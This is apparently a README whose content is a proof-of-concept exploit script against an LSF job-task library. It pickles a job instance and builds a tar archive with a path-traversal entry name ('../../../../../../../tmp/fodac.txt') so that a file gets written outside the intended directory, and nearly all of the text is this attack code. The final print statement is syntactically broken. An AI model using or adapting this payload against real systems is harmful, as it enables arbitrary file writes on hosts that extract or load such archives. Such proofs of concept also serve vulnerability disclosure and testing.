README.md
Rendering markdown...
import os
import pickle
import tarfile
import io
from lsf import LSFJobTask
os.makedirs("work_dir", exist_ok=True)
task_instance = LSFJobTask(
n_cpu_flag=4,
shared_tmp_dir="/tmp/my_temp_dir",
resource_flag="mem=4096",
memory_flag="4096",
queue_flag="my_queue",
runtime_flag=120,
job_name_flag="example_job",
poll_time=10.0,
save_job_info=True,
output="output_file.txt",
extra_bsub_args="-R 'span[hosts=1]'"
)
with open("work_dir/job-instance.pickle", "wb") as f:
pickle.dump(task_instance, f)
with tarfile.open("work_dir/fodac.tar", "w") as tar:
fodac_file_info = tarfile.TarInfo(name="../../../../../../../tmp/fodac.txt")
fodac_file_data = b"Exploit it! :3"
fodac_file_info.size = len(fodac_file_data)
tar.addfile(fodac_file_info, io.BytesIO(fodac_file_data))
print("Genrating files: job-instance.pickle and fodac.tar"